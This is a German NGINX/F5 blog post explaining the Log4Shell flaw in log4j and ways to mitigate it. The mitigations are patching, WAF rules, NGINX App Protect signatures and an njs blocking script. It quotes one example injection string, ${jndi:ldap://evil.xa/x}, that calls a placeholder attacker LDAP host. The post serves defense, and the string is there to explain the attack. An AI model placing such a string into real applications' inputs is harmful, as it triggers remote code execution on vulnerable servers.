Freitag, der 10. Dezember 2021, ist ein Datum, an das sich viele IT-Fachleute weltweit erinnern werden. An diesem Tag wurde eine äußerst kritische Zero-Day-Schwachstelle in der sehr beliebten Protokollierungsbibliothek für Java-Anwendungen log4j entdeckt. Für den Exploit wurde schnell der Name „Log4Shell“ geprägt, und Unternehmen jeder Größe beeilten sich, Maßnahmen zur Risikominderung umzusetzen. Darauf folgte ein Marathon an Patches, der zum Zeitpunkt der Erstellung dieses Artikels noch immer andauert.
NGINX und F5 haben die Bedrohung analysiert. In diesem Beitrag stellen wir verschiedene Maßnahmen vor, mit denen Sie Ihre Anwendungen schützen können.
Was ist Log4Shell?
Version 2.15 und frühere Versionen der log4j-Bibliothek sind anfällig für die unter CVE-2021-44228 beschriebene Schwachstelle zur Remotecodeausführung (Remote Code Execution, RCE). (Version 2.16 von log4j behebt die Schwachstelle.) Log4Shell ist die Bezeichnung für den Exploit, der diese Schwachstelle ausnutzt. Doch worin besteht die Schwachstelle und warum ist sie so kritisch? Wie im CVE-Eintrag beschrieben, validiert die Java-Bibliothek Apache log4j Eingaben nicht ordnungsgemäß.
Die Java Naming and Directory Interface (JNDI)-Funktion der log4j-Bibliothek und der Java-Laufzeitumgebung kann für Remote-Abfragen verwendet werden, um Daten aus externen Quellen abzurufen – beispielsweise einen Benutzernamen aus LDAP oder eine IP-Adresse aus DNS – und diese in einen Protokolleintrag aufzunehmen. Leider können entfernte Angreifer JNDI missbrauchen, um von ihnen geschriebenen Java-Code auszuführen. Das folgende Diagramm veranschaulicht den Angriff.
Um ein anfälliges Ziel auszunutzen, müssen Angreifer den Anwendungscode dazu bringen, einen Protokolleintrag zu schreiben, der eine Zeichenfolge wie ${jndi:ldap://evil.xa/x} enthält. Die entscheidende Frage lautet: Wo muss die Zeichenfolge platziert werden, damit sie in einer Protokollmeldung landet? Für viele Anwendungen ist die Protokollierung unerlässlich, und zu jeder eingehenden Anfrage werden zahlreiche unterschiedliche Informationen protokolliert, darunter HTTP-Header wie User-Agent und X-Forwarded-For, die URI und der Anfrageinhalt. Es gibt viele Angriffsvektoren, und solange die Zeichenfolge mit log4j protokolliert wird, kann die Anwendung ausgenutzt werden.
Ist NGINX von dieser Sicherheitslücke betroffen?
Nein. NGINX selbst ist für diesen Exploit nicht anfällig, da es in C geschrieben ist und weder Java noch Java-basierte Bibliotheken verwendet. Die offizielle Stellungnahme zu CVE-2021-44228 für alle Produkte von F5 und NGINX finden Sie im Artikel K19026212 in der AskF5-Wissensdatenbank.
Wie hilft NGINX dabei, den Exploit einzudämmen?
Wie oben erwähnt, muss ein Angreifer die Exploit-Zeichenfolge an einer Stelle in der HTTP-Anfrage an die Zielanwendung senden. NGINX bietet mehrere Tools, mit denen eingehende Anfragen auf Anzeichen einer Kompromittierung (Indicators of Compromise, IOCs) überprüft und blockiert werden können.
Die effizienteste Möglichkeit, schädliche Anfragen zu blockieren, ist eine Web Application Firewall (WAF). Sie überprüft jede eingehende Anfrage auf Anzeichen für CVE-2021-44228, indem sie die Anfragedaten mit einer Reihe vorkompilierter Regeln abgleicht. Die Aktualisierung von WAF-Regeln nach einem Zero-Day-Exploit gleicht jedoch einem Wettrüsten. Sobald WAF-Regeln für einen bestimmten Exploit verfügbar sind, suchen Angreifer nach Techniken und Mustern, mit denen sich die WAF umgehen lässt. Achten Sie darauf, Ihre WAF-Regeln stets auf dem neuesten Stand zu halten.
NGINX ModSecurity WAF
ModSecurity ist eine Open-Source-WAF und wird von NGINX mit dem Modul NGINX ModSecurity WAF für NGINX Plus auch als kommerzielle Lösung angeboten. Das OWASP ModSecurity Core Rule Set (CRS) enthält eine bestehende Regel (932130), die Schutz vor Log4Shell bieten kann. Weitere Informationen zu dieser Lösung und zu erweiterten Schutzmaßnahmen finden Sie im CRS-Blog.
[Redaktion – Der offizielle Verkaufsstopp für NGINX ModSecurity WAF erfolgte am 1. April 2022; zum 31. März 2024 wird das Produkt endgültig eingestellt. Weitere Informationen finden Sie im Beitrag F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla> in unserem Blog.]
NGINX App Protect WAF
NGINX App Protect WAF ist eine moderne Lösung für Anwendungssicherheit. Auf Grundlage der fortlaufenden Untersuchung der Bedrohung und bekannter Umgehungsmöglichkeiten von WAFs haben wir den Signatursatz für serverseitige Code-Injection um neue Regeln ergänzt, um Log4Shell-Angriffe effektiv zu erkennen. Weitere Informationen finden Sie in der AskF5-Wissensdatenbank.
NGINX-JavaScript-Modul
NGINX und NGINX Plus werden häufig als Reverse-Proxy vor zahlreichen Java-basierten Anwendungen eingesetzt. Für Benutzer und Kunden ohne Zugriff auf eine WAF haben wir ein Skript erstellt, das das NGINX JavaScript Module (njs) verwendet. Das Skript durchsucht HTTP-Header, URIs und Anfragetexte eingehender Anfragen und verwendet dabei bekannte IOC-Zeichenfolgen sowie reguläre Ausdrücke, um Eingabedaten abzugleichen und schädliche Anfragen zu blockieren.
Das njs-Skript ist auf GitHub verfügbar. Anweisungen zur Installation des njs-Moduls finden Sie im NGINX Plus-Administratorhandbuch.
Zusammenfassung
Die wirksamste Lösung gegen Log4Shell besteht darin, den Anwendungscode mit log4j Version 2.16 oder höher zu aktualisieren, wodurch JDNI deaktiviert wird. Falls dies nicht sofort möglich ist, kann eine WAF die Bedrohung wirksam eindämmen, bis Sie Zeit haben, den Patch einzuspielen. Wenn Sie noch keine WAF einsetzen, können Sie mit unserem njs-Skript einen gezielten Schutz vor der Bedrohung implementieren. Nutzen Sie die folgenden Ressourcen, um mehr zu erfahren und den am besten geeigneten Schutz für Ihre Anwendungen auszuwählen.
Ressourcen
- CVE-2021-44228 – Der offizielle CVE-Eintrag
- Zero-Day-Exploit zielt auf die beliebte Java-Bibliothek Log4j ab – Ein wertvoller Überblick über die Sicherheitslücke
- K19026212: Sicherheitslücke zur Remotecodeausführung in Apache Log4j2 CVE-2021-44228 – Offizielle Stellungnahme von F5
- CRS und Log4j / Log4Shell / CVE-2021-44228 – Blog zum ModSecurity Core Rule Set
- NGINX-njs-Anfrageprüfung für CVE-2021-44228 – NGINX-JavaScript-Lösung zur Risikominderung
Über den Autor
Ähnliche Blogbeiträge
Die Zukunft von NGINX: Zurück zu unseren Open-Source-Wurzeln
Beim NGINX Sprint 2022 besinnen wir uns auf unsere Open-Source-Wurzeln. Erfahren Sie mehr über die Initiativen, die wir im kommenden Jahr verfolgen, und teilen Sie uns mit, was Sie sich wünschen.
Ein Leitfaden zur Auswahl eines Ingress-Controllers, Teil 1: Ermitteln Sie Ihre Anforderungen
Ein Ingress-Controller kann eines der leistungsstärksten Tools in Ihrem Kubernetes-Stack sein. Erfahren Sie, wie Sie Ihre Ingress-Anforderungen ermitteln, um die beste Option auszuwählen.
Bereitstellung des NGINX Ingress Controllers auf Amazon EKS: So haben wir getestet
Wir haben kürzlich den Lösungsleitfaden zum NGINX Ingress Controller um Empfehlungen zur Dimensionierung für Amazon Elastic Kubernetes Service (EKS) ergänzt. In diesem Blogbeitrag erläutern wir, wie wir diese Empfehlungen erarbeitet haben, und stellen Ihnen alle Informationen zur Verfügung, die Sie benötigen, um selbst ähnliche Tests durchzuführen.
Protokollierung des Datenverkehrs zwischen NGINX und Upstream-Servern bei CDN77
Bei der Fehlersuche bei Datenverkehrsproblemen zwischen NGINX und Upstream-Servern konnte CDN77 die benötigten Daten nur aus dem Fehlerprotokoll mit aktivierter Debug-Ausgabe beziehen, was die Leistung beeinträchtigt und riesige Dateien erzeugt. Daher entwickelte das Team ein neues benutzerdefiniertes Modul, das ausschließlich die benötigten Daten protokolliert.
Ankündigung von NGINX Plus R16
NGINX Plus R16 ist eine einheitliche, elastische Ingress- und Egress-Schicht für Anwendungen, die die Funktionen eines Load Balancers, API-Gateways und einer WAF vereint und neue Features wie clusterfähige Ratenbegrenzung, Schlüssel-Wert-Speicher, „Random with Two Choices“, verbessertes UDP-Load-Balancing und vieles mehr bietet.
5 Gründe für den Umstieg auf softwarebasiertes Load Balancing
Entdecken Sie fünf Gründe für den Wechsel zu einem softwarebasierten Load Balancer wie NGINX Plus, darunter Kosteneinsparungen, die Einführung von DevOps und eine einheitliche Lösung für alle Umgebungen.